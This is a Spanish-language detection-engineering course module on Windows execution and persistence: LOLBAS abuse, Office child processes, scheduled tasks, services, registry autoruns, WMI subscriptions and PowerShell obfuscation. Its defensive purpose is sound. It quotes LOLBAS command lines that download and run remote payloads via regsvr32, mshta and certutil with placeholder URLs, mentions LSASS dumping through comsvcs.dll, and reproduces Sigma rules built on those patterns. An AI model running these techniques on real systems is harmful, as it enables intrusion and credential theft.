Módulo 9 de 16

Módulo 9: Detecciones de ejecución y persistencia en Windows

Módulo 9: Detecciones de ejecución y persistencia en Windows

Un atacante que ya tiene código corriendo en un endpoint necesita dos cosas: ejecutarlo sin que salte una alarma obvia y asegurarse de que sobrevive a un reinicio. Para lo primero recurre casi siempre a un binario que Windows ya trae firmado e instalado, porque bloquear ese binario rompería el propio sistema operativo. Para lo segundo tiene un puñado de sitios conocidos donde Windows mira automáticamente al arrancar: una clave de registro, una tarea programada, un servicio, una suscripción WMI. Ninguno de los dos trucos es nuevo ni secreto: llevan documentados años y cada uno deja un rastro concreto en la telemetría que ya se activó en los módulos anteriores de este curso.

Este módulo recorre esas técnicas una por una, con el mismo patrón en cada bloque: qué hace el atacante, qué observable queda en el sistema, qué regla real (de SigmaHQ, de Splunk security_content o de Elastic) la caza hoy, y en qué condición concreta esa regla deja de disparar. Ese último punto no es un detalle menor: la mitad del trabajo de un ingeniero de detección consiste en saber de antemano dónde se va a romper su propia regla, no en descubrirlo cuando ya la ha desplegado.

Qué aprenderás

  • Qué es el catálogo LOLBAS, cómo se consulta y cómo distinguir el uso normal del uso anómalo en rundll32, regsvr32, mshta y certutil
  • Por qué los procesos hijo inesperados de Office y de los navegadores dan una de las señales con mejor relación entre aciertos y ruido de toda la ingeniería de detección
  • Los Event ID reales del canal TaskScheduler y del canal Security para la creación de tareas programadas, verificados uno por uno, y por qué esa telemetría es ruidosa en un entorno real
  • La diferencia entre el 7045 del canal System y el 4697 del canal Security para servicios nuevos, y qué mirar en el binario del servicio para detectar abuso
  • Cómo los eventos 12, 13 y 14 de Sysmon vigilan la persistencia en las claves Run, Winlogon y de servicios, y cuánta exclusión legítima hace falta en un entorno real
  • Qué es una suscripción WMI permanente (filtro, consumidor y enlace) y por qué los eventos 19, 20 y 21 de Sysmon son casi la única forma de verla
  • Por qué una regla de PowerShell basada en cadenas literales de un ofuscador deja de funcionar con solo cambiar un separador, y cómo escribir una que detecte la estructura en vez de la cadena
  • Cómo se ve, tratado solo como ejecución, el uso de servicios remotos y de herramientas de administración legítimas como WinRM

El catálogo LOLBAS: ejecutar código con binarios que Windows ya confía

LOLBAS (Living Off The Land Binaries, Scripts and Libraries) es una base de datos comunitaria que documenta binarios, bibliotecas y scripts firmados por Microsoft, nativos del sistema operativo o descargados directamente de Microsoft, que tienen una funcionalidad «inesperada» utilizable por un atacante o un equipo rojo. El propio README del proyecto fija el criterio de admisión: el fichero tiene que estar firmado por Microsoft (nativo del sistema o descargado de Microsoft), aportar una funcionalidad no prevista en su uso normal, y esa funcionalidad tiene que servir a un APT o a un equipo rojo (ejecución de código, persistencia, bypass de UAC, robo de credenciales, volcado de memoria de proceso o evasión de registro, entre otras). El repositorio está publicado bajo licencia GPL-3.0.

Cada entrada se organiza por tipo (Binaries, Libraries, OtherMSBinaries para herramientas de Microsoft que no son del sistema operativo como Excel o Teams, y Scripts) y dentro de cada una por función: Execute, Download, AWL Bypass (bypass de listas blancas de aplicaciones), Encode, Decode, Copy y varias más. Cada línea de comandos documentada lleva su técnica de MITRE ATT&CK asociada. El catálogo se puede consultar de tres formas: navegando el sitio, descargando el JSON completo (o su equivalente en CSV) que expone la API del proyecto, o leyendo directamente los ficheros YAML de origen en el repositorio. Para automatizar una consulta puntual, por ejemplo comprobar qué funciones documentadas tiene certutil, un comando como este basta (verifica la salida en tu propio entorno, porque el contenido del catálogo cambia con cada contribución aceptada):

curl -s https://lolbas-project.github.io/api/lolbas.json | jq '.[] | select(.Name=="Certutil.exe")'

La trampa de trabajar con LOLBAS en un SOC es tratarlo como una lista negra de binarios a bloquear. No lo es: todos esos binarios son necesarios para que Windows funcione, y bloquear certutil.exe o rundll32.exe rompe el sistema operativo o el software que depende de ellos. Lo que cambia entre uso legítimo y abuso no es el binario, es la combinación de argumentos y de proceso padre. La tabla siguiente recoge, para cuatro binarios muy documentados, una línea de comandos real tomada de LOLBAS y qué la hace anómala frente a su uso habitual.

Binario Línea de comandos (LOLBAS) Técnica ATT&CK Qué la delata frente al uso normal
rundll32.exe rundll32.exe {PATH},EntryPoint T1218.011 El uso legítimo carga DLLs conocidas del propio sistema con un punto de entrada esperado (por ejemplo paneles de control). El abuso aparece con una ruta o una DLL fuera del catálogo habitual del host, o con la variante que ejecuta JavaScript vía mshtml,RunHTMLApplication y descarga un objeto remoto con GetObject("script:URL")
regsvr32.exe regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll T1218.010 El patrón conocido como «Squiblydoo»: registrar scrobj.dll con /i: apuntando a una URL remota ejecuta un scriptlet COM sin tocar disco. El uso normal de regsvr32 registra rutas locales durante la instalación de software, casi nunca contra una URL
mshta.exe mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close(); T1218.005 mshta abre ficheros .hta locales de aplicaciones de línea de negocio heredadas. Cualquier invocación con una URL remota, o lanzada desde Office o desde un navegador, se sale de ese perfil
certutil.exe certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe} T1105 certutil sirve para gestionar certificados y CA locales. La combinación de -urlcache (o -verifyctl) con una URL lo convierte en un descargador; -decode lo convierte en una forma de sacar un payload en Base64 de un fichero aparentemente inocuo (T1140)

Sobre certutil hay una regla real y vigente en el repositorio de SigmaHQ, publicada bajo licencia Detection Rule License (DRL) 1.1, que traduce justo esa lógica de «flag más URL» a condiciones concretas:

title: Suspicious Download Via Certutil.EXE
id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b
status: test
description: Detects the execution of certutil with certain flags that allow the utility to download files.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-15
modified: 2025-12-01
tags:
    - attack.stealth
    - attack.t1027
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: 'certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_flags:
        CommandLine|contains:
            - 'urlcache '
            - 'verifyctl '
            - 'URL '
    selection_http:
        CommandLine|contains: 'http'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

(Regla original de SigmaHQ, ficha proc_creation_win_certutil_download.yml, copiada tal cual del repositorio. Fíjate en la etiqueta attack.stealth: es la táctica en la que quedó Obfuscated Files or Information tras la división de Defense Evasion en la versión 19 de MITRE ATT&CK, la que fija este curso como referencia.)

El punto débil de esta regla, y de casi cualquier regla basada en la línea de comandos de un LOLBin, es que exige la línea de comandos completa. Si tu telemetría solo trae el nombre del proceso (algo habitual cuando el 4688 se generó sin activar «Include command line in process creation events», como se explicó en el módulo 3 de política de auditoría avanzada) esta regla no tiene nada que evaluar. Y si el atacante renombra el binario, el campo Image ya no delata nada, aunque OriginalFileName (el nombre interno embebido en el ejecutable, que Sysmon y el 4688 extendido capturan) sí sobrevive a ese renombrado; por eso la regla comprueba las dos cosas con un OR entre Image|endswith y OriginalFileName. Con rundll32 pasa algo parecido: SigmaHQ mantiene una regla mucho más larga que enumera decenas de combinaciones concretas de DLL y punto de entrada conocidas por abuso documentado (url.dll con OpenURL, shell32.dll con ShellExec_RunDLL, comsvcs.dll con MiniDump para volcar LSASS, y varias más), precisamente porque no existe un único patrón de «rundll32 malo»: la lista crece cada vez que alguien documenta una combinación nueva, y cualquier combinación no listada todavía pasa sin ser vista.

Procesos hijo inesperados de Office y de los navegadores

De todas las detecciones de este módulo, la de procesos hijo de aplicaciones ofimáticas es probablemente la que mejor relación tiene entre lo que atrapa y lo que molesta. La razón es estructural: Word, Excel, PowerPoint o Outlook casi nunca necesitan lanzar cmd.exe, powershell.exe o mshta.exe como parte de su funcionamiento normal. Cuando lo hacen, casi siempre es porque un documento con una macro, un exploit contra el propio parser de Office o una técnica de plantilla remota acaba de ejecutar algo. El universo de «cosas normales que hace Word» es pequeño y estable, así que una lista de procesos hijo esperables se queda corta rápido y cualquier cosa fuera de ella merece revisión. Compárese con vigilar la ejecución de powershell.exe en general, donde el volumen de uso legítimo por parte de administradores hace inviable revisar cada aparición.

SigmaHQ mantiene una regla que agrupa justo este comportamiento, con una lista de aplicaciones ofimáticas como padre y una lista, mucho más larga, de binarios y rutas sospechosas como hijo:

title: Suspicious Microsoft Office Child Process
id: 438025f9-5856-4663-83f7-52f878a70a50
status: test
description: Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)
author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
date: 2018-04-06
modified: 2023-04-24
tags:
    - attack.execution
    - attack.stealth
    - attack.t1047
    - attack.t1204.002
    - attack.t1218.010
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - 'EQNEDT32.EXE'
            - 'EXCEL.EXE'
            - 'MSACCESS.EXE'
            - 'MSPUB.exe'
            - 'ONENOTE.EXE'
            - 'POWERPNT.exe'
            - 'VISIO.exe'
            - 'WINWORD.EXE'
            - 'wordpad.exe'
            - 'wordview.exe'
    selection_child_processes:
        - OriginalFileName:
              - 'bitsadmin.exe'
              - 'CertOC.exe'
              - 'CertUtil.exe'
              - 'Cmd.Exe'
              - 'CMSTP.EXE'
              - 'cscript.exe'
              - 'curl.exe'
              - 'HH.exe'
              - 'IEExec.exe'
              - 'InstallUtil.exe'
              - 'javaw.exe'
              - 'Microsoft.Workflow.Compiler.exe'
              - 'msdt.exe'
              - 'MSHTA.EXE'
              - 'msiexec.exe'
              - 'Msxsl.exe'
              - 'odbcconf.exe'
              - 'pcalua.exe'
              - 'PowerShell.EXE'
              - 'RegAsm.exe'
              - 'RegSvcs.exe'
              - 'REGSVR32.exe'
              - 'RUNDLL32.exe'
              - 'schtasks.exe'
              - 'ScriptRunner.exe'
              - 'wmic.exe'
              - 'WorkFolders.exe'
              - 'wscript.exe'
        - Image|endswith:
              - 'AppVLP.exe'
              - 'bash.exe'
              - 'bitsadmin.exe'
              - 'certoc.exe'
              - 'certutil.exe'
              - 'cmd.exe'
              - 'cmstp.exe'
              - 'control.exe'
              - 'cscript.exe'
              - 'curl.exe'
              - 'forfiles.exe'
              - 'hh.exe'
              - 'ieexec.exe'
              - 'installutil.exe'
              - 'javaw.exe'
              - 'mftrace.exe'
              - 'Microsoft.Workflow.Compiler.exe'
              - 'msbuild.exe'
              - 'msdt.exe'
              - 'mshta.exe'
              - 'msidb.exe'
              - 'msiexec.exe'
              - 'msxsl.exe'
              - 'odbcconf.exe'
              - 'pcalua.exe'
              - 'powershell.exe'
              - 'pwsh.exe'
              - 'regasm.exe'
              - 'regsvcs.exe'
              - 'regsvr32.exe'
              - 'rundll32.exe'
              - 'schtasks.exe'
              - 'scrcons.exe'
              - 'scriptrunner.exe'
              - 'sh.exe'
              - 'svchost.exe'
              - 'verclsid.exe'
              - 'wmic.exe'
              - 'workfolders.exe'
              - 'wscript.exe'
    selection_child_susp_paths:
        Image|contains:
            - 'AppData'
            - 'UsersPublic'
            - 'ProgramData'
            - 'WindowsTasks'
            - 'WindowsTemp'
            - 'WindowsSystem32Tasks'
    condition: selection_parent and 1 of selection_child_*
falsepositives:
    - Unknown
level: high

(Regla original de SigmaHQ, ficha proc_creation_win_office_susp_child_processes.yml, once autores distintos a lo largo de cinco años de mantenimiento.)

Fíjate en que la selección de hijos comprueba tanto OriginalFileName como Image: la primera lista sobrevive a que el atacante copie cmd.exe con otro nombre, la segunda cubre binarios cuyo OriginalFileName no coincide con el nombre de fichero esperado o que directamente no lo declaran. La tercera selección, por ruta, atrapa un caso distinto: un ejecutable cualquiera, ni siquiera un LOLBin conocido, lanzado desde una carpeta donde normalmente no vive software instalado (AppData, ProgramData, las rutas temporales del sistema). Esa combinación por ruta compensa que la lista de binarios nunca puede ser exhaustiva.

Con los navegadores el mismo principio se aplica de forma más difusa, porque su catálogo de comportamiento «normal» es mucho más amplio: descarga ficheros, abre aplicaciones asociadas a protocolos, ejecuta extensiones. Elastic mantiene una regla, «Execution of a Downloaded Windows Script», que en vez de fijarse solo en el proceso padre correlaciona con una secuencia EQL la creación de un fichero de script (js, vbs, hta, ps1) con marca de origen «de Internet» (el flujo Zone.Identifier ya visto en el módulo de Sysmon) y, dentro de una ventana de tres minutos, la ejecución de ese mismo fichero por un intérprete. Esa regla vive bajo licencia Elastic License v2, así que aquí se describe y se enlaza en vez de reproducirla: detection-rules, execution_windows_script_from_internet.toml. La lección de diseño es la misma que con Office: un solo evento (el proceso hijo) rara vez basta para separar navegación normal de abuso; correlacionar con el origen del fichero reduce el ruido sin perder el caso que importa.

Tareas programadas: dos canales, una fuente de ruido garantizada

El Programador de tareas de Windows escribe en dos sitios distintos cuando pasa algo con una tarea, y conviene tener claro qué aporta cada uno antes de decidir cuál recoger.

El canal Microsoft-Windows-TaskScheduler/Operational es el propio del servicio de Programador de tareas. Microsoft no publica una página de referencia por Event ID para este canal como sí hace con el registro de seguridad, así que los números que siguen se toman de fuentes secundarias consistentes entre sí (la herramienta forense de código abierto Velociraptor y el repositorio de recolección de eventos del Australian Cyber Security Centre), no de documentación oficial de Microsoft: el 106 marca el registro de una tarea nueva, el 140 su actualización, el 141 su borrado y el 129 el inicio de una acción concreta de la tarea. Trátalos como orientativos, no como una referencia con la misma solidez que un Event ID de seguridad documentado.

El canal Security sí tiene página propia por evento, aunque vive en el árbol archivado de Microsoft Learn con ms.date de 2021 (la misma situación que ya se señaló para la referencia de auditoría avanzada en el módulo 3). Bajo la subcategoría Audit Other Object Access Events, cinco eventos cubren el ciclo de vida completo de una tarea: 4698 (creada), 4699 (borrada), 4700 (habilitada), 4701 (deshabilitada) y 4702 (actualizada). Los cinco comparten estructura: TaskName con la ruta dentro de la biblioteca del Programador de tareas, y un campo TaskContent (o TaskContentNew en el 4702, junto al contenido anterior) con el XML completo de definición de la tarea, el mismo formato que se vio al hablar de tareas programadas en el módulo de auditoría avanzada. Dentro de ese XML vive el dato que Microsoft señala expresamente como digno de alerta en sus recomendaciones de monitorización para el 4698: si <LogonType> vale Password, la contraseña de la cuenta que ejecutará la tarea queda guardada en el Administrador de credenciales en texto recuperable con privilegios administrativos. Desde Windows 10 1903 los cinco eventos incorporan también ClientProcessId y ParentProcessId, así que se puede saber qué proceso pidió la operación sin depender de que ese proceso fuera schtasks.exe: puede haber sido la consola gráfica del Programador de tareas, un script de PowerShell con el módulo ScheduledTasks, o una llamada directa a la API COM de Task Scheduler que no pasa por ningún binario de línea de comandos reconocible.

Esa última idea importa porque en el módulo 8 ya viste una regla que detecta la creación de tareas con privilegios de SYSTEM mirando la línea de comandos de schtasks.exe. Esa regla no ve nada si la tarea se crea sin pasar por ese binario. El 4698, en cambio, lo genera el propio servicio de Programador de tareas sin importar qué cliente pidió la operación, así que sigue funcionando aunque el atacante evite schtasks.exe por completo. SigmaHQ tiene una regla que ataca precisamente ese ángulo, buscando patrones sospechosos dentro del TaskContent en crudo:

title: Suspicious Scheduled Task Creation
id: 3a734d25-df5c-4b99-8034-af1ddb5883a4
status: test
description: Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.
references:
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-05
modified: 2022-12-07
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1053.005
logsource:
    product: windows
    service: security
    definition: 'The Advanced Audit Policy setting Object Access > Audit Other Object Access Events has to be configured to allow this detection. We also recommend extracting the Command field from the embedded XML in the event data.'
detection:
    selection_eid:
        EventID: 4698
    selection_paths:
        TaskContent|contains:
            - 'AppDataLocalTemp'
            - 'AppDataRoaming'
            - 'UsersPublic'
            - 'WINDOWSTemp'
            - 'C:Temp'
            - 'Desktop'
            - 'Downloads'
            - 'Temporary Internet'
            - 'C:ProgramData'
            - 'C:Perflogs'
    selection_commands:
        TaskContent|contains:
            - 'regsvr32'
            - 'rundll32'
            - 'cmd.exe</Command>'
            - 'cmd</Command>'
            - '<Arguments>/c '
            - '<Arguments>/k '
            - '<Arguments>/r '
            - 'powershell'
            - 'pwsh'
            - 'mshta'
            - 'wscript'
            - 'cscript'
            - 'certutil'
            - 'bitsadmin'
            - 'bash.exe'
            - 'bash '
            - 'scrcons'
            - 'wmic '
            - 'wmic.exe'
            - 'forfiles'
            - 'scriptrunner'
            - 'hh.exe'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

(Regla original de SigmaHQ, ficha win_security_susp_scheduled_task_creation.yml. Nota el escapado de <Arguments> y </Command> dentro de las cadenas: son literales XML embebidos en el propio TaskContent, no marcado del fichero de la regla.)

La razón por la que la creación de tareas es ruidosa en un entorno real no tiene nada de exótico: es una de las formas más comunes de programar mantenimiento legítimo. Instaladores de software, GPO que despliegan tareas de actualización, copias de seguridad, agentes de monitorización y el propio Windows Update crean, actualizan y borran tareas constantemente, muchas veces desde rutas de AppData o con PowerShell, que son exactamente los patrones que la regla anterior busca. Cualquier regla sobre 4698/4699/4700/4701/4702 en una flota grande sin ajustar por el inventario de software instalado genera un volumen de falsos positivos que, en la práctica, entierra la señal real.

Servicios nuevos: qué mirar en el binario, no solo que exista el evento

El módulo 3 ya presentó los dos eventos que marcan un servicio nuevo (7045 en System, escrito por el Administrador de control de servicios, y 4697 en Security, que exige la subcategoría Security System Extension activa) y explicó por qué conviene recoger los dos. Falta cubrir qué hace sospechoso el binario de un servicio nuevo, más allá de que el evento exista.

El campo con el binario (ImagePath en el 7045, Service File Name en el 4697) admite parámetros de línea de comandos igual que cualquier ejecución de proceso, porque el Administrador de control de servicios simplemente lanza lo que ahí ponga. Eso significa que un atacante puede registrar un «servicio» cuyo binario real sea PowerShell con una cadena descargada en memoria, o cmd.exe con un one-liner, en vez de un ejecutable propio compilado. Nextron Systems mantiene una regla que recoge justo ese patrón:

title: Suspicious Service Installation
id: 1d61f71d-59d2-479e-9562-4ff5f4ead16b
status: test
description: Detects suspicious service installation commands
references:
    - Internal Research
author: pH-T (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-03-18
modified: 2023-12-04
tags:
    - attack.persistence
    - attack.privilege-escalation
    - car.2013-09-005
    - attack.t1543.003
logsource:
    product: windows
    service: system
detection:
    selection:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        ImagePath|contains:
            - ' -nop '
            - ' -sta '
            - ' -w hidden '
            - ':Temp'
            - '.downloadfile('
            - '.downloadstring('
            - 'ADMIN$'
            - 'Perflogs'
            - '&&'
    condition: selection
falsepositives:
    - Unknown
level: high

(Regla original de SigmaHQ, ficha win_system_service_install_susp.yml.)

El indicador ADMIN$ de esa lista merece atención aparte: es la marca de que el binario del servicio se copió al recurso administrativo ADMIN$ (que apunta a C:Windows) antes de registrarlo, el patrón exacto que sigue PsExec cuando ejecuta algo en un equipo remoto. Aquí solo se trata como lo que es, un observable de ejecución vía servicio; qué hace que ese patrón sea también movimiento lateral es contenido del módulo 10 de este curso. Restringir de raíz qué cuentas pueden instalar servicios en un controlador de dominio o en un servidor de nivel 0 es ya trabajo de bastionado y de separación de niveles administrativos, terreno del curso de Defensa de Active Directory.

Persistencia en el registro: Run, Winlogon y las claves que vigila Sysmon

El módulo de Sysmon de este curso ya presentó los eventos 12 (creación o borrado de clave o valor), 13 (asignación de valor) y 14 (renombrado) y su sintaxis de filtrado. La confirmación de a qué evento corresponde cada categoría de la taxonomía de Sigma que se usó en el módulo de normalización viene del propio código fuente del proyecto que traduce Sigma a consultas concretas para entornos con Sysmon: registry_add y registry_delete mapean al evento 12, registry_set al 13 y registry_rename al 14.

Las claves Run y RunOnce bajo SOFTWAREMicrosoftWindowsCurrentVersion son el punto de persistencia más conocido, pero no el único que vigila el registro. Bajo SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon viven varias claves que el proceso winlogon.exe lee al iniciar sesión (Shell y Userinit son las más abusadas, porque sustituir su valor hace que Windows lance el binario del atacante en vez de explorer.exe, o junto a él), y junto a ellas AppInit_DLLs y las claves de Image File Execution Options (IFEO), que permiten adjuntar un depurador a cualquier ejecutable y hacer que ese depurador se lance en su lugar. SigmaHQ agrupa todo ese bloque en una sola regla:

title: CurrentVersion NT Autorun Keys Modification
id: cbf93e5d-ca6c-4722-8bea-e9119007c248
status: test
description: Detects modification of autostart extensibility point (ASEP) in registry.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
    - https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)
date: 2019-10-25
modified: 2025-10-22
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    category: registry_set
    product: windows
detection:
    selection_nt_current_version_base:
        TargetObject|contains: 'SOFTWAREMicrosoftWindows NTCurrentVersion'
    selection_nt_current_version:
        TargetObject|contains:
            - 'WinlogonVmApplet'
            - 'WinlogonUserinit'
            - 'WinlogonTaskman'
            - 'WinlogonShell'
            - 'WinlogonGpExtensions'
            - 'WinlogonAppSetup'
            - 'WinlogonAlternateShellsAvailableShells'
            - 'WindowsIconServiceLib'
            - 'WindowsAppinit_Dlls'
            - 'Image File Execution Options'
            - 'Font Drivers'
            - 'Drivers32'
            - 'WindowsRun'
            - 'WindowsLoad'
    filter_main_empty:
        Details: '(Empty)'
    filter_main_null:
        Details: null
    filter_main_poqexec:
        Image: 'C:WindowsSystem32poqexec.exe'
    filter_main_legitimate_subkey:
        TargetObject|contains: 'Image File Execution Options'
        TargetObject|endswith:
            - 'DisableExceptionChainValidation'
            - 'MitigationOptions'
    filter_optional_edge:
        Image|startswith: 'C:Program Files (x86)MicrosoftTemp'
        Image|endswith: 'MicrosoftEdgeUpdate.exe'
    filter_optional_officeclicktorun:
        Image|startswith:
            - 'C:Program FilesCommon FilesMicrosoft SharedClickToRun'
            - 'C:Program FilesCommon FilesMicrosoft SharedClickToRunUpdates'
        Image|endswith: 'OfficeClickToRun.exe'
    filter_optional_onedrive:
        Image|endswith: 'AppDataLocalMicrosoftOneDriveStandaloneUpdaterOneDriveSetup.exe'
        TargetObject|endswith: 'MicrosoftWindowsCurrentVersionRunOnceDelete Cached Update Binary'
        Details|startswith: 'C:Windowssystem32cmd.exe /q /c del /q "C:Users'
        Details|endswith: 'AppDataLocalMicrosoftOneDriveUpdateOneDriveSetup.exe"'
    condition: all of selection_* and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason
    - Legitimate administrator sets up autorun keys for legitimate reason
level: medium

(Regla original de SigmaHQ, ficha registry_set_asep_reg_keys_modification_currentversion_nt.yml; se muestra un subconjunto de las exclusiones reales, el fichero completo trae varias más para Avira, Office y RuntimeBroker). Existe una regla hermana, registry_set_asep_reg_keys_modification_currentversion.yml, que cubre las claves Run y RunOnce clásicas bajo SOFTWAREMicrosoftWindowsCurrentVersion (sin el NT) con más de una decena de exclusiones para Spotify, Zoom, Discord, iTunes, Greenshot, Google Drive y varios antivirus.

Esas listas de exclusión son el mejor argumento visual de por qué esta detección exige mantenimiento constante: cada entrada nueva es una vez que alguien vio la regla dispararse contra software legítimo y decidió que ese patrón no merecía revisión manual cada vez. Desplegarlas tal cual, sin adaptar las exclusiones al software real de tu organización, garantiza una primera semana llena de alertas sobre actualizadores, no sobre atacantes.

Suscripciones WMI permanentes: la persistencia que sobrevive a casi todo

Windows Management Instrumentation permite registrar una suscripción de eventos que persiste en la base de datos WMI del propio sistema operativo (el repositorio CIM, no un fichero de disco convencional ni una clave de registro típica) y que sobrevive a reinicios sin depender de ningún proceso que quede corriendo. Hacen falta tres piezas para que funcione, y las tres tienen que existir a la vez: un filtro (__EventFilter), que define con una consulta WQL cuándo se dispara (por ejemplo, cada vez que el sistema lleva encendido entre 240 y 325 segundos); un consumidor (EventConsumer, con variantes como CommandLineEventConsumer para lanzar un binario o ActiveScriptEventConsumer para ejecutar VBScript o JScript embebido), que define qué se ejecuta; y un enlace (__FilterToConsumerBinding), que une las dos piezas anteriores. Sin las tres a la vez no hay persistencia: un filtro sin consumidor no hace nada, y un consumidor sin enlace tampoco se dispara nunca.

Esta es la técnica T1546.003, Windows Management Instrumentation Event Subscription, y sobrevive a casi cualquier limpieza superficial porque no deja ni un proceso en ejecución continua ni una entrada en las carpetas de inicio que un analista revise por costumbre; hace falta consultar explícitamente el repositorio WMI (con Get-WmiObject, Get-CimInstance o herramientas como Autoruns de Sysinternals) para verla. Sysmon la captura con los eventos 19 (WmiEventFilter), 20 (WmiEventConsumer) y 21 (WmiEventConsumerToFilter), ya presentados en el módulo de Sysmon. Tom Ueltschi mantiene, en el repositorio de SigmaHQ, la regla base sobre esos tres eventos:

title: WMI Event Subscription
id: 0f06a3a5-6a09-413f-8743-e6cf35561297
status: test
description: Detects creation of WMI event subscription persistence method
author: Tom Ueltschi (@c_APT_ure)
date: 2019-01-12
modified: 2021-11-27
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.003
logsource:
    product: windows
    category: wmi_event
detection:
    selection:
        EventID:
            - 19
            - 20
            - 21
    condition: selection
falsepositives:
    - Exclude legitimate (vetted) use of WMI event subscription in your network
level: medium

(Regla original de SigmaHQ, ficha sysmon_wmi_event_subscription.yml.) Nota que la condición dispara con cualquiera de los tres IDs por separado: es una base amplia para que el analista revise cada aparición, no una regla que confirme por sí sola la cadena completa. Esa confirmación se hace correlacionando los tres eventos por cercanía en el tiempo y por el nombre que comparten filtro y consumidor, trabajo del SIEM, no de Sysmon.

PowerShell: por qué una regla sobre texto ofuscado se rompe con solo cambiar un separador

El módulo 3 presentó el registro de bloques de script de PowerShell (evento 4104) y cómo suele exponer el comando ya decodificado, no la versión ofuscada de partida. Lo que falta cubrir es cómo se escribe una regla sobre ese campo que aguante cuando el atacante cambia la ofuscación de sitio.

El error habitual es escribir una regla que busca la cadena literal que produce una herramienta de ofuscación conocida en una ejecución concreta. SigmaHQ tiene un ejemplo real de ese fallo, ya documentado por la propia comunidad: la regla «Malicious PowerShell Commandlets» busca, entre otras muchas cosas, el nombre literal PowerView dentro del ScriptBlockText. En una discusión pública del propio repositorio de SigmaHQ, el usuario L015H4CK documentó un caso donde el registro de bloques de script fragmentó un script grande en decenas de trozos (entre 39 y 76 en diez ejecuciones de prueba con PowerView) y la cadena PowerView quedó partida entre dos fragmentos consecutivos como PowerVi y ew, así que la regla no vio la cadena completa y no disparó. El mantenedor del proyecto, nasbench, confirmó que el problema vive en cómo PowerShell trocea el registro, no en la regla: cualquier condición contains sobre una cadena larga es vulnerable a que el propio motor de logging la parta por el medio, sin que el atacante haga nada para evadirla.

El caso que pide explícitamente este módulo (una regla que se rompe con solo cambiar un separador) es distinto pero apunta en la misma dirección: cadenas literales sobre salida generada por una herramienta. Invoke-Obfuscation, de Daniel Bohannon, genera invocaciones ofuscadas de IEX concatenando fragmentos de $PSHome o $ShellId indexados por posición. Una regla que buscara la cadena exacta que produce una ejecución concreta de esa herramienta (con los índices numéricos que le tocaron esa vez) se rompería en cuanto la herramienta generara otra combinación con índices distintos, porque cada ejecución de Invoke-Obfuscation elige valores distintos. El propio autor de la herramienta escribió, en cambio, una regla que no busca la cadena final sino la estructura que la genera, con expresiones regulares que aceptan cualquier índice numérico:

title: Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell
id: 1b9dc62e-6e9e-42a3-8990-94d7a10007f7
status: test
description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework
references:
    - https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
author: 'Daniel Bohannon (@Mandiant/@FireEye), oscd.community'
date: 2019-11-08
modified: 2022-12-31
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_iex:
        - ScriptBlockText|re: '$PSHome[s*d{1,3}s*]s*+s*$PSHome['
        - ScriptBlockText|re: '$ShellId[s*d{1,3}s*]s*+s*$ShellId['
        - ScriptBlockText|re: '$env:Public[s*d{1,3}s*]s*+s*$env:Public['
        - ScriptBlockText|re: '$env:ComSpec[(s*d{1,3}s*,){2}'
        - ScriptBlockText|re: '*mdr*Ws*).Name'
        - ScriptBlockText|re: '$VerbosePreference.ToString('
    condition: selection_iex
falsepositives:
    - Unknown
level: high

(Regla original de SigmaHQ, ficha posh_ps_invoke_obfuscation_obfuscated_iex.yml.) La diferencia con una regla de cadena literal está en d{1,3}: en vez de exigir un número concreto, exige «un número de una a tres cifras en esta posición exacta de la expresión». Cambiar el separador entre los índices, o los índices en sí, no rompe nada, porque la regla nunca dependió de su valor: depende de la forma en que $PSHome se indexa y se concatena consigo mismo dos veces, que es justo el patrón fijo que el código fuente de la herramienta reproduce cada vez que genera esta variante concreta de ofuscación. Ese es el enfoque que pide este módulo: cuando la fuente del patrón es una herramienta con código conocido, conviene mirar ese código (como hizo aquí su propio autor) para encontrar qué parte de la sintaxis generada no cambia entre ejecuciones, y anclar la regla ahí en vez de en un ejemplo concreto de salida.

Ejecución vía servicios remotos y herramientas de administración legítimas

